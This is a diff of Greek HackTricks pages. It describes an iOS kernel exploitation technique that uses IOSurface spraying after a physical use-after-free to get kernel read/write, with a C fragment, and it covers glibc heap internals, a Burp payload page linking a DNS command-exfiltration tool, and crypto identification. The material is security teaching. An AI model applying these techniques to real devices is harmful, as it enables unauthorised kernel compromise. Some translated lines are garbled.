3. **Read/Write Kernel Memory**: Με την παραποίηση πεδίων στο αντικείμενο IOSurface, αποκτούν τη δυνατότητα να εκτελούν **τυχαίες αναγνώσεις και εγγραφές** στη μνήμη του kernel. Αυτό τους επιτρέπει:
* Να χρησιμοποιούν ένα πεδίο για να **διαβάσουν οποιαδήποτε 32-bit τιμή** στη μνήμη του kernel.
* Να χρησιμοποιούν ένα άλλο πεδίο για να **γράψουν 64-bit τιμές**, επιτυγχάνοντας μια σταθερή **primitive ανάγνωσης/εγγραφής του kernel**.
1. **Ψεκασμός Αντικειμένων IOSurface**: Ο επιτιθέμενος δημιουργεί πολλά αντικείμενα IOSurface με έναν ειδικό αναγνωριστικό ("μαγική τιμή").
2. **Σάρωση Ελεύθερων Σελίδων**: Ελέγχουν αν κάποιο από τα αντικείμενα έχει ανατεθεί σε μια ελεύθερη σελίδα.
3. **Διαβάστε/Γράψτε στη Μνήμη του Πυρήνα**: Με την παραποίηση πεδίων στο αντικείμενο IOSurface, αποκτούν τη δυνατότητα να εκτελούν **τυχαίες αναγνώσεις και εγγραφές** στη μνήμη του πυρήνα. Αυτό τους επιτρέπει:
* Να χρησιμοποιούν ένα πεδίο για να **διαβάσουν οποιαδήποτε 32-bit τιμή** στη μνήμη του πυρήνα.
* Να χρησιμοποιούν ένα άλλο πεδίο για να **γράψουν 64-bit τιμές**, επιτυγχάνοντας μια σταθερή **πρωτοβουλία ανάγνωσης/εγγραφής πυρήνα**.
Δημιουργήστε αντικείμενα IOSurface με τη μαγική τιμή IOSURFACE_MAGIC για να τα αναζητήσετε αργότερα:
```c
@ -140,22 +142,22 @@ return 0;
```
### Επιτυχία Ανάγνωσης/Εγγραφής Kernel με IOSurface
Αφού αποκτήσουμε έλεγχο ενός αντικειμένου IOSurface στη μνήμη του kernel (χαρτογραφημένο σε μια ελεύθερη φυσική σελίδα προσβάσιμη από το userspace), μπορούμε να το χρησιμοποιήσουμε για **τυχαίες λειτουργίες ανάγνωσης και εγγραφής του kernel**.
Αφού αποκτήσουμε έλεγχο ενός αντικειμένου IOSurface στη μνήμη του kernel (χαρτογραφημένο σε μια απελευθερωμένη φυσική σελίδα προσβάσιμη από το userspace), μπορούμε να το χρησιμοποιήσουμε για **τυχαίες λειτουργίες ανάγνωσης και εγγραφής του kernel**.
**Κύρια Πεδία στο IOSurface**
Το αντικείμενο IOSurface έχει δύο κρίσιμα πεδία:
1. **Δείκτης Χρήσης**: Επιτρέπει μια **32-bit ανάγνωση**.
2. **Δείκτης Χρονοσήμανσης**: Επιτρέπει μια **64-bit εγγραφή**.
2. **Δείκτης Χρονοσήμανσης με Ευρετήριο**: Επιτρέπει μια **64-bit εγγραφή**.
Με την αντικατάσταση αυτών των δεικτών, τους ανακατευθύνουμε σε τυχαίες διευθύνσεις στη μνήμη του kernel, επιτρέποντας δυνατότητες ανάγνωσης/εγγραφής.
Με την επαναγραφή αυτών των δεικτών, τους ανακατευθύνουμε σε τυχαίες διευθύνσεις στη μνήμη του kernel, επιτρέποντας δυνατότητες ανάγνωσης/εγγραφής.
#### 32-Bit Ανάγνωση Kernel
Για να εκτελέσετε μια ανάγνωση:
Για να εκτελέσουμε μια ανάγνωση:
1. Αντικαταστήστε τον **δείκτη χρήσης** ώστε να δείχνει στη στοχευμένη διεύθυνση μείον μια απόσταση 0x14 byte.
1. Επαναγράψτε τον **δείκτη χρήσης** ώστε να δείχνει στη στοχευμένη διεύθυνση μείον μια απόσταση 0x14 byte.
2. Χρησιμοποιήστε τη μέθοδο `get_use_count` για να διαβάσετε την τιμή σε αυτή τη διεύθυνση.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
@ -195,9 +197,11 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig);
```
#### Ανακεφαλαίωση Ροής Εκμετάλλευσης
1. **Ενεργοποίηση Φυσικής Χρήσης-Μετά-Απελευθέρωσης**: Οι ελεύθερες σελίδες είναι διαθέσιμες για επαναχρησιμοποίηση.
1. **Ενεργοποίηση Φυσικής Χρήσης-Μετά-Απελευθέρωση**: Οι ελεύθερες σελίδες είναι διαθέσιμες για επαναχρησιμοποίηση.
2. **Ψεκασμός Αντικειμένων IOSurface**: Κατανομή πολλών αντικειμένων IOSurface με μια μοναδική "μαγική τιμή" στη μνήμη του πυρήνα.
3. **Εντοπισμός Προσβάσιμου IOSurface**: Εντοπίστε ένα IOSurface σε μια απελευθερωμένη σελίδα που ελέγχετε.
4. **Κατάχρηση Χρήσης-Μετά-Απελευθέρωσης**: Τροποποιήστε τους δείκτες στο αντικείμενο IOSurface για να επιτρέψετε αυθαίρετη **ανάγνωση/εγγραφή πυρήνα** μέσω μεθόδων IOSurface.
4. **Κατάχρηση Χρήσης-Μετά-Απελευθέρωση**: Τροποποιήστε τους δείκτες στο αντικείμενο IOSurface για να επιτρέψετε αυθαίρετη **ανάγνωση/εγγραφή πυρήνα** μέσω μεθόδων IOSurface.
Με αυτές τις πρωτογενείς λειτουργίες, η εκμετάλλευση παρέχει ελεγχόμενες **32-bit αναγνώσεις** και **64-bit εγγραφές** στη μνήμη του πυρήνα. Επιπλέον βήματα jailbreak θα μπορούσαν να περιλαμβάνουν πιο σταθερές πρωτογενείς αναγνώσεις/εγγραφές, οι οποίες μπορεί να απαιτούν παράκαμψη πρόσθετων προστασιών (π.χ., PPL σε νεότερες συσκευές arm64e).
{{#include /banners/hacktricks-training.md}}

View File

@ -1,5 +1,7 @@
# Libc Heap
{{#include /banners/hacktricks-training.md}}
## Heap Basics
Ο σωρός είναι βασικά ο χώρος όπου ένα πρόγραμμα μπορεί να αποθηκεύσει δεδομένα όταν ζητά δεδομένα καλώντας συναρτήσεις όπως **`malloc`**, `calloc`... Επιπλέον, όταν αυτή η μνήμη δεν χρειάζεται πλέον, καθίσταται διαθέσιμη καλώντας τη συνάρτηση **`free`**.
@ -21,32 +23,32 @@
- Αν δεν υπάρχει αρκετός χώρος στον σωρό για να δεσμευτεί το νέο chunk, ο διαχειριστής του σωρού ζητά από τον πυρήνα να επεκτείνει τη μνήμη που έχει δεσμευτεί για τον σωρό και στη συνέχεια χρησιμοποιεί αυτή τη μνήμη για να δημιουργήσει το νέο chunk.
- Αν όλα αποτύχουν, το `malloc` επιστρέφει null.
Σημειώστε ότι αν η ζητούμενη **μνήμη ξεπερνά ένα όριο**, θα χρησιμοποιηθεί το **`mmap`** για να χαρτογραφηθεί η ζητούμενη μνήμη.
Σημειώστε ότι αν η ζητούμενη **μνήμη ξεπερνά ένα όριο**, **`mmap`** θα χρησιμοποιηθεί για να χαρτογραφήσει τη ζητούμενη μνήμη.
## Arenas
Σε **πολυνηματικές** εφαρμογές, ο διαχειριστής του σωρού πρέπει να αποτρέπει **συνθήκες ταχύτητας** που θα μπορούσαν να οδηγήσουν σε κρα crashes. Αρχικά, αυτό γινόταν χρησιμοποιώντας ένα **παγκόσμιο mutex** για να διασφαλιστεί ότι μόνο ένα νήμα μπορούσε να έχει πρόσβαση στον σωρό τη φορά, αλλά αυτό προκαλούσε **προβλήματα απόδοσης** λόγω του στενέματος που προκαλούσε το mutex.
Για να αντιμετωπιστεί αυτό, ο αλγόριθμος διαχείρισης σωρού ptmalloc2 εισήγαγε τις "arenas", όπου **κάθε arena** λειτουργεί ως **ξεχωριστός σωρός** με τις **δικές της** δομές **δεδομένων** και **mutex**, επιτρέποντας σε πολλά νήματα να εκτελούν λειτουργίες σωρού χωρίς να παρεμβαίνουν το ένα στο άλλο, εφόσον χρησιμοποιούν διαφορετικές arenas.
Για να αντιμετωπιστεί αυτό, ο αλγόριθμος διαχείρισης σωρού ptmalloc2 εισήγαγε τις "αρένες", όπου **κάθε αρένα** λειτουργεί ως **ξεχωριστός σωρός** με τις **δικές της** δομές **δεδομένων** και **mutex**, επιτρέποντας σε πολλά νήματα να εκτελούν λειτουργίες σωρού χωρίς να παρεμβαίνουν το ένα στο άλλο, εφόσον χρησιμοποιούν διαφορετικές αρένες.
Η προεπιλεγμένη "κύρια" arena διαχειρίζεται τις λειτουργίες του σωρού για εφαρμογές με ένα νήμα. Όταν προστίθενται **νέα νήματα**, ο διαχειριστής του σωρού τους αναθέτει **δευτερεύουσες arenas** για να μειώσει την αντιπαλότητα. Αρχικά προσπαθεί να συνδέσει κάθε νέο νήμα με μια μη χρησιμοποιούμενη arena, δημιουργώντας νέες αν χρειαστεί, μέχρι ένα όριο 2 φορές τον αριθμό των πυρήνων CPU για συστήματα 32-bit και 8 φορές για συστήματα 64-bit. Μόλις φτάσει το όριο, **τα νήματα πρέπει να μοιράζονται τις arenas**, οδηγώντας σε πιθανή αντιπαλότητα.
Η προεπιλεγμένη "κύρια" αρένα χειρίζεται τις λειτουργίες του σωρού για εφαρμογές με ένα νήμα. Όταν προστίθενται **νέα νήματα**, ο διαχειριστής του σωρού τους αναθέτει **δευτερεύουσες αρένες** για να μειώσει την αντιπαλότητα. Αρχικά προσπαθεί να συνδέσει κάθε νέο νήμα με μια μη χρησιμοποιούμενη αρένα, δημιουργώντας νέες αν χρειαστεί, μέχρι ένα όριο 2 φορές τον αριθμό των πυρήνων CPU για συστήματα 32-bit και 8 φορές για συστήματα 64-bit. Μόλις φτάσει το όριο, **τα νήματα πρέπει να μοιράζονται τις αρένες**, οδηγώντας σε πιθανή αντιπαλότητα.
Σε αντίθεση με την κύρια arena, η οποία επεκτείνεται χρησιμοποιώντας την κλήση συστήματος `brk`, οι δευτερεύουσες arenas δημιουργούν "subheaps" χρησιμοποιώντας `mmap` και `mprotect` για να προσομοιώσουν τη συμπεριφορά του σωρού, επιτρέποντας ευελιξία στη διαχείριση μνήμης για πολυνηματικές λειτουργίες.
Σε αντίθεση με την κύρια αρένα, η οποία επεκτείνεται χρησιμοποιώντας την κλήση συστήματος `brk`, οι δευτερεύουσες αρένες δημιουργούν "υποσωρούς" χρησιμοποιώντας `mmap` και `mprotect` για να προσομοιώσουν τη συμπεριφορά του σωρού, επιτρέποντας ευελιξία στη διαχείριση μνήμης για πολυνηματικές λειτουργίες.
### Subheaps
Τα subheaps χρησιμεύουν ως αποθέματα μνήμης για δευτερεύουσες arenas σε πολυνηματικές εφαρμογές, επιτρέποντάς τους να αναπτύσσονται και να διαχειρίζονται τις δικές τους περιοχές σωρού ξεχωριστά από τον κύριο σωρό. Να πώς διαφέρουν τα subheaps από τον αρχικό σωρό και πώς λειτουργούν:
Οι υποσωροί λειτουργούν ως αποθέματα μνήμης για δευτερεύουσες αρένες σε πολυνηματικές εφαρμογές, επιτρέποντάς τους να αναπτύσσονται και να διαχειρίζονται τις δικές τους περιοχές σωρού ξεχωριστά από τον κύριο σωρό. Να πώς οι υποσωροί διαφέρουν από τον αρχικό σωρό και πώς λειτουργούν:
1. **Αρχικός Σωρός vs. Subheaps**:
1. **Αρχικός Σωρός vs. Υποσωροί**:
- Ο αρχικός σωρός βρίσκεται ακριβώς μετά το δυαδικό αρχείο του προγράμματος στη μνήμη και επεκτείνεται χρησιμοποιώντας την κλήση συστήματος `sbrk`.
- Τα subheaps, που χρησιμοποιούνται από δευτερεύουσες arenas, δημιουργούνται μέσω του `mmap`, μιας κλήσης συστήματος που χαρτογραφεί μια καθορισμένη περιοχή μνήμης.
- Οι υποσωροί, που χρησιμοποιούνται από δευτερεύουσες αρένες, δημιουργούνται μέσω του `mmap`, μιας κλήσης συστήματος που χαρτογραφεί μια καθορισμένη περιοχή μνήμης.
2. **Δέσμευση Μνήμης με `mmap`**:
- Όταν ο διαχειριστής του σωρού δημιουργεί ένα subheap, δεσμεύει ένα μεγάλο μπλοκ μνήμης μέσω του `mmap`. Αυτή η δέσμευση δεν δεσμεύει άμεσα μνήμη; απλώς καθορίζει μια περιοχή που δεν πρέπει να χρησιμοποιούν άλλες διαδικασίες ή δεσμεύσεις του συστήματος.
- Από προεπιλογή, το μέγεθος που έχει δεσμευτεί για ένα subheap είναι 1 MB για διαδικασίες 32-bit και 64 MB για διαδικασίες 64-bit.
- Όταν ο διαχειριστής του σωρού δημιουργεί έναν υποσωρό, δεσμεύει ένα μεγάλο μπλοκ μνήμης μέσω του `mmap`. Αυτή η δέσμευση δεν δεσμεύει άμεσα μνήμη; απλώς καθορίζει μια περιοχή που δεν πρέπει να χρησιμοποιούν άλλες διαδικασίες ή δεσμεύσεις του συστήματος.
- Από προεπιλογή, το μέγεθος που έχει δεσμευτεί για έναν υποσωρό είναι 1 MB για διαδικασίες 32-bit και 64 MB για διαδικασίες 64-bit.
3. **Σταδιακή Επέκταση με `mprotect`**:
- Η δεσμευμένη περιοχή μνήμης αρχικά σημειώνεται ως `PROT_NONE`, υποδεικνύοντας ότι ο πυρήνας δεν χρειάζεται να δεσμεύσει φυσική μνήμη σε αυτόν τον χώρο ακόμα.
- Για να "αναπτυχθεί" το subheap, ο διαχειριστής του σωρού χρησιμοποιεί το `mprotect` για να αλλάξει τις άδειες σελίδας από `PROT_NONE` σε `PROT_READ | PROT_WRITE`, προτρέποντας τον πυρήνα να δεσμεύσει φυσική μνήμη στις προηγουμένως δεσμευμένες διευθύνσεις. Αυτή η σταδιακή προσέγγιση επιτρέπει στο subheap να επεκτείνεται κατά ανάγκη.
- Μόλις εξαντληθεί ολόκληρο το subheap, ο διαχειριστής του σωρού δημιουργεί ένα νέο subheap για να συνεχίσει τη δέσμευση.
- Η δεσμευμένη περιοχή μνήμης αρχικά σημειώνεται ως `PROT_NONE`, υποδεικνύοντας ότι ο πυρήνας δεν χρειάζεται να δεσμεύσει φυσική μνήμη σε αυτό το χώρο ακόμη.
- Για να "μεγαλώσει" ο υποσωρός, ο διαχειριστής του σωρού χρησιμοποιεί το `mprotect` για να αλλάξει τις άδειες σελίδας από `PROT_NONE` σε `PROT_READ | PROT_WRITE`, προτρέποντας τον πυρήνα να δεσμεύσει φυσική μνήμη στις προηγουμένως δεσμευμένες διευθύνσεις. Αυτή η σταδιακή προσέγγιση επιτρέπει στον υποσωρό να επεκτείνεται κατά ανάγκη.
- Μόλις εξαντληθεί ολόκληρος ο υποσωρός, ο διαχειριστής του σωρού δημιουργεί έναν νέο υποσωρό για να συνεχίσει τη δέσμευση.
### heap_info <a href="#heap_info" id="heap_info"></a>
@ -70,13 +72,13 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
```
### malloc_state
**Κάθε heap** (κύρια αρένα ή άλλες αρένες νημάτων) έχει μια **δομή `malloc_state`.**\
**Κάθε σωρός** (κύρια αρένα ή άλλες αρένες νημάτων) έχει μια **δομή `malloc_state`.**\
Είναι σημαντικό να σημειωθεί ότι η **δομή `malloc_state` της κύριας αρένας** είναι μια **παγκόσμια μεταβλητή στη libc** (άρα βρίσκεται στον χώρο μνήμης της libc).\
Στην περίπτωση των δομών **`malloc_state`** των heaps των νημάτων, βρίσκονται **μέσα στο "heap" του δικού τους νήματος**.
Στην περίπτωση των δομών **`malloc_state`** των σωρών νημάτων, βρίσκονται **μέσα στη "σωρό" του δικού τους νήματος**.
Υπάρχουν μερικά ενδιαφέροντα πράγματα να σημειωθούν από αυτή τη δομή (δείτε τον παρακάτω κώδικα C):
Υπάρχουν μερικά ενδιαφέροντα πράγματα που πρέπει να σημειωθούν από αυτή τη δομή (δείτε τον παρακάτω κώδικα C):
- `__libc_lock_define (, mutex);` Υπάρχει για να διασφαλίσει ότι αυτή η δομή από το heap προσπελάζεται από 1 νήμα τη φορά
- `__libc_lock_define (, mutex);` Υπάρχει για να διασφαλίσει ότι αυτή η δομή από τη σωρό προσπελάζεται από 1 νήμα τη φορά
- Σημαίες:
- ```c
@ -88,11 +90,11 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
```
- Ο `mchunkptr bins[NBINS * 2 - 2];` περιέχει **δείκτες** στους **πρώτους και τελευταίους chunks** των μικρών, μεγάλων και αταξινόμητων **bins** (το -2 είναι επειδή ο δείκτης 0 δεν χρησιμοποιείται)
- Επομένως, το **πρώτο chunk** αυτών των bins θα έχει έναν **πίσω δείκτη σε αυτή τη δομή** και το **τελευταίο chunk** αυτών των bins θα έχει έναν **μπροστά δείκτη** σε αυτή τη δομή. Αυτό σημαίνει βασικά ότι αν μπορείτε να **διαρρεύσετε αυτές τις διευθύνσεις στην κύρια αρένα** θα έχετε έναν δείκτη στη δομή στη **libc**.
- Ο `mchunkptr bins[NBINS * 2 - 2];` περιέχει **δείκτες** στους **πρώτους και τελευταίους κομμάτια** των μικρών, μεγάλων και αταξινόμητων **δοχείων** (το -2 είναι επειδή ο δείκτης 0 δεν χρησιμοποιείται)
- Επομένως, το **πρώτο κομμάτι** αυτών των δοχείων θα έχει έναν **ανάποδο δείκτη σε αυτή τη δομή** και το **τελευταίο κομμάτι** αυτών των δοχείων θα έχει έναν **προForward δείκτη** σε αυτή τη δομή. Αυτό σημαίνει βασικά ότι αν μπορείτε να **διαρρεύσετε αυτές τις διευθύνσεις στην κύρια αρένα** θα έχετε έναν δείκτη στη δομή στη **libc**.
- Οι δομές `struct malloc_state *next;` και `struct malloc_state *next_free;` είναι συνδεδεμένες λίστες αρεών
- Το `top` chunk είναι το τελευταίο "chunk", το οποίο είναι βασικά **όλος ο χώρος που απομένει στο heap**. Μόλις το top chunk είναι "άδειο", το heap έχει χρησιμοποιηθεί εντελώς και χρειάζεται να ζητήσει περισσότερο χώρο.
- Το `last reminder` chunk προέρχεται από περιπτώσεις όπου δεν είναι διαθέσιμο ένα chunk ακριβούς μεγέθους και επομένως ένα μεγαλύτερο chunk διασπάται, ένα δείκτης που απομένει τοποθετείται εδώ.
- Το κομμάτι `top` είναι το τελευταίο "κομμάτι", το οποίο είναι βασικά **όλος ο χώρος που απομένει στη σωρό**. Μόλις το κομμάτι κορυφής είναι "άδειο", η σωρός έχει χρησιμοποιηθεί εντελώς και χρειάζεται να ζητήσει περισσότερο χώρο.
- Το κομμάτι `last reminder` προέρχεται από περιπτώσεις όπου δεν είναι διαθέσιμο ένα κομμάτι ακριβούς μεγέθους και επομένως ένα μεγαλύτερο κομμάτι χωρίζεται, ένα δείκτης του υπολοίπου τοποθετείται εδώ.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
@ -157,14 +159,14 @@ struct malloc_chunk* bk_nextsize;
typedef struct malloc_chunk* mchunkptr;
```
Όπως σχολιάστηκε προηγουμένως, αυτά τα κομμάτια έχουν επίσης κάποια μεταδεδομένα, πολύ καλά απεικονισμένα σε αυτή την εικόνα:
Όπως έχει σχολιαστεί προηγουμένως, αυτά τα κομμάτια έχουν επίσης κάποια μεταδεδομένα, πολύ καλά απεικονισμένα σε αυτή την εικόνα:
<figure><img src="../../images/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
Τα μεταδεδομένα είναι συνήθως 0x08B που υποδεικνύει το μέγεθος του τρέχοντος κομματιού χρησιμοποιώντας τα τελευταία 3 bits για να υποδείξει:
- `A`: Αν είναι 1 προέρχεται από ένα υποσωρό, αν είναι 0 είναι στην κύρια αρένα
- `M`: Αν είναι 1, αυτό το κομμάτι είναι μέρος ενός χώρου που έχει κατανεμηθεί με mmap και δεν είναι μέρος ενός σωρού
- `A`: Αν είναι 1 προέρχεται από μια υπο-στοίβα, αν είναι 0 είναι στην κύρια αρένα
- `M`: Αν είναι 1, αυτό το κομμάτι είναι μέρος ενός χώρου που έχει κατανεμηθεί με mmap και δεν είναι μέρος μιας στοίβας
- `P`: Αν είναι 1, το προηγούμενο κομμάτι είναι σε χρήση
Στη συνέχεια, ο χώρος για τα δεδομένα του χρήστη, και τελικά 0x08B για να υποδείξει το μέγεθος του προηγούμενου κομματιού όταν το κομμάτι είναι διαθέσιμο (ή για να αποθηκεύσει δεδομένα χρήστη όταν είναι κατανεμημένο).
@ -178,12 +180,12 @@ typedef struct malloc_chunk* mchunkptr;
<figure><img src="../../images/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
> [!NOTE]
> Σημειώστε πώς η σύνδεση της λίστας με αυτόν τον τρόπο αποτρέπει την ανάγκη να υπάρχει ένας πίνακας όπου καταχωρείται κάθε κομμάτι.
> [!TIP]
> Σημειώστε πώς η σύνδεση της λίστας με αυτόν τον τρόπο αποτρέπει την ανάγκη να υπάρχει ένα πίνακας όπου καταχωρείται κάθε κομμάτι.
### Δείκτες Κομματιών
Όταν χρησιμοποιείται malloc επιστρέφεται ένας δείκτης στο περιεχόμενο που μπορεί να γραφτεί (αμέσως μετά τις κεφαλίδες), ωστόσο, όταν διαχειρίζεστε κομμάτια, χρειάζεται ένας δείκτης στην αρχή των κεφαλίδων (μεταδεδομένα).\
Όταν χρησιμοποιείται malloc, επιστρέφεται ένας δείκτης στο περιεχόμενο που μπορεί να γραφτεί (αμέσως μετά τις κεφαλίδες), ωστόσο, όταν διαχειρίζεστε κομμάτια, χρειάζεται ένας δείκτης στην αρχή των κεφαλίδων (μεταδεδομένα).\
Για αυτές τις μετατροπές χρησιμοποιούνται αυτές οι συναρτήσεις:
```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -328,7 +330,7 @@ people extending or adapting this malloc.
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
```
- Εξασφαλίστε bit
- Insue bit
```c
/* extract p's inuse bit */
#define inuse(p) \
@ -352,7 +354,7 @@ people extending or adapting this malloc.
#define clear_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
```
- Ορίστε κεφαλίδα και υποσέλιδο (όταν χρησιμοποιούνται αριθμοί τμημάτων)
- Ρυθμίστε την κεφαλίδα και την υποσέλιδο (όταν χρησιμοποιούνται αριθμοί τμημάτων)
```c
/* Set size at head, without disturbing its use bit */
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
@ -363,7 +365,7 @@ people extending or adapting this malloc.
/* Set size at footer (only when chunk is not in use) */
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
```
- Πάρτε το μέγεθος των πραγματικά χρησιμοποιήσιμων δεδομένων μέσα στο κομμάτι
- Πάρε το μέγεθος των πραγματικά χρησιμοποιήσιμων δεδομένων μέσα στο κομμάτι
```c
#pragma GCC poison mchunk_size
#pragma GCC poison mchunk_prev_size
@ -409,19 +411,19 @@ ptr = malloc(0x10);
strcpy(ptr, "panda");
}
```
Ορίστε ένα σημείο διακοπής στο τέλος της κύριας συνάρτησης και ας δούμε πού αποθηκεύτηκε η πληροφορία:
Ορίστε ένα σημείο διακοπής στο τέλος της κύριας συνάρτησης και ας ανακαλύψουμε πού αποθηκεύτηκε η πληροφορία:
<figure><img src="../../images/image (1239).png" alt=""><figcaption></figcaption></figure>
Είναι δυνατόν να δούμε ότι η συμβολοσειρά panda αποθηκεύτηκε στη διεύθυνση `0xaaaaaaac12a0` (η οποία ήταν η διεύθυνση που δόθηκε ως απάντηση από το malloc μέσα στο `x0`). Ελέγχοντας 0x10 bytes πριν, είναι δυνατόν να δούμε ότι το `0x0` αντιπροσωπεύει ότι το **προηγούμενο κομμάτι δεν χρησιμοποιείται** (μήκος 0) και ότι το μήκος αυτού του κομματιού είναι `0x21`.
Οι επιπλέον χώροι που έχουν κρατηθεί (0x21-0x10=0x11) προέρχονται από τις **προστιθέμενες κεφαλίδες** (0x10) και το 0x1 δεν σημαίνει ότι κρατήθηκε 0x21B αλλά τα τελευταία 3 bits του μήκους της τρέχουσας κεφαλίδας έχουν κάποιες ειδικές σημασίες. Καθώς το μήκος είναι πάντα ευθυγραμμισμένο σε 16 bytes (σε μηχανές 64 bits), αυτά τα bits στην πραγματικότητα δεν θα χρησιμοποιηθούν ποτέ από τον αριθμό μήκους.
Οι επιπλέον χώροι που έχουν κρατηθεί (0x21-0x10=0x11) προέρχονται από τους **προστιθέμενους επικεφαλίδες** (0x10) και το 0x1 δεν σημαίνει ότι κρατήθηκε 0x21B αλλά τα τελευταία 3 bits του μήκους της τρέχουσας επικεφαλίδας έχουν κάποιες ειδικές σημασίες. Καθώς το μήκος είναι πάντα ευθυγραμμισμένο σε 16 bytes (σε μηχανές 64 bits), αυτά τα bits στην πραγματικότητα δεν πρόκειται ποτέ να χρησιμοποιηθούν από τον αριθμό μήκους.
```
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena
```
### Παράδειγμα Πολυνηματικής Εκτέλεσης
### Multithreading Example
<details>
@ -483,7 +485,7 @@ return 0;
## Bins & Memory Allocations/Frees
Ελέγξτε ποια είναι τα bins και πώς είναι οργανωμένα και πώς η μνήμη κατανέμεται και απελευθερώνεται σε:
Ελέγξτε ποια είναι τα bins και πώς είναι οργανωμένα και πώς η μνήμη κατανέμεται και απελευθερώνεται στο:
{{#ref}}
bins-and-memory-allocations.md
@ -501,3 +503,6 @@ heap-memory-functions/heap-functions-security-checks.md
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
{{#include /banners/hacktricks-training.md}}

View File

@ -1,19 +0,0 @@
{{#include ./banners/hacktricks-training.md}}
# Βασικοί Φορτωτές
- **Απλή Λίστα:** Απλώς μια λίστα που περιέχει μια καταχώρηση σε κάθε γραμμή
- **Αρχείο Εκτέλεσης:** Μια λίστα που διαβάζεται κατά την εκτέλεση (δεν φορτώνεται στη μνήμη). Για υποστήριξη μεγάλων λιστών.
- **Τροποποίηση Περίπτωσης:** Εφαρμόστε κάποιες αλλαγές σε μια λίστα από συμβολοσειρές (Καμία αλλαγή, σε πεζά, σε ΚΕΦΑΛΑΙΑ, σε Κανονικό όνομα - Πρώτο κεφαλαίο και τα υπόλοιπα σε πεζά-, σε Κανονικό Όνομα - Πρώτο κεφαλαίο και τα υπόλοιπα παραμένουν τα ίδια-).
- **Αριθμοί:** Δημιουργία αριθμών από X έως Y χρησιμοποιώντας βήμα Z ή τυχαία.
- **Brute Forcer:** Σύνολο χαρακτήρων, ελάχιστο & μέγιστο μήκος.
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Φορτωτής για εκτέλεση εντολών και λήψη εξόδου μέσω DNS αιτημάτων στο burpcollab.
{{#ref}}
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
{{#endref}}
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)
{{#include ./banners/hacktricks-training.md}}

View File

@ -1,61 +1,59 @@
# Κρυπτογραφικοί/Συμπιεστικοί Αλγόριθμοι
## Κρυπτογραφικοί/Συμπιεστικοί Αλγόριθμοι
{{#include ../../banners/hacktricks-training.md}}
## Αναγνώριση Αλγορίθμων
Αν καταλήξετε σε έναν κώδικα **χρησιμοποιώντας shift δεξιά και αριστερά, xors και διάφορες αριθμητικές λειτουργίες** είναι πολύ πιθανό ότι είναι η υλοποίηση ενός **κρυπτογραφικού αλγορίθμου**. Εδώ θα παρουσιαστούν μερικοί τρόποι για να **αναγνωρίσετε τον αλγόριθμο που χρησιμοποιείται χωρίς να χρειάζεται να αντιστρέψετε κάθε βήμα**.
Αν καταλήγεις σε έναν κώδικα **χρησιμοποιώντας shift δεξιά και αριστερά, xors και διάφορες αριθμητικές λειτουργίες** είναι πολύ πιθανό ότι είναι η υλοποίηση ενός **κρυπτογραφικού αλγορίθμου**. Εδώ θα παρουσιαστούν μερικοί τρόποι για να **αναγνωρίσεις τον αλγόριθμο που χρησιμοποιείται χωρίς να χρειάζεται να αντιστρέψεις κάθε βήμα**.
### Λειτουργίες API
**CryptDeriveKey**
Αν αυτή η λειτουργία χρησιμοποιείται, μπορείτε να βρείτε ποιος **αλγόριθμος χρησιμοποιείται** ελέγχοντας την τιμή της δεύτερης παραμέτρου:
Αν αυτή η λειτουργία χρησιμοποιείται, μπορείς να βρεις ποιος **αλγόριθμος χρησιμοποιείται** ελέγχοντας την τιμή της δεύτερης παραμέτρου:
![](<../../images/image (156).png>)
Ελέγξτε εδώ τον πίνακα των πιθανών αλγορίθμων και των ανατεθειμένων τιμών τους: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
Έλεγξε εδώ τον πίνακα των πιθανών αλγορίθμων και των ανατεθειμένων τιμών τους: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
**RtlCompressBuffer/RtlDecompressBuffer**
Συμπιέζει και αποσυμπιέζει ένα δεδομένο buffer δεδομένων.
Συμπιέζει και αποσυμπιέζει ένα δεδομένο buffer.
**CryptAcquireContext**
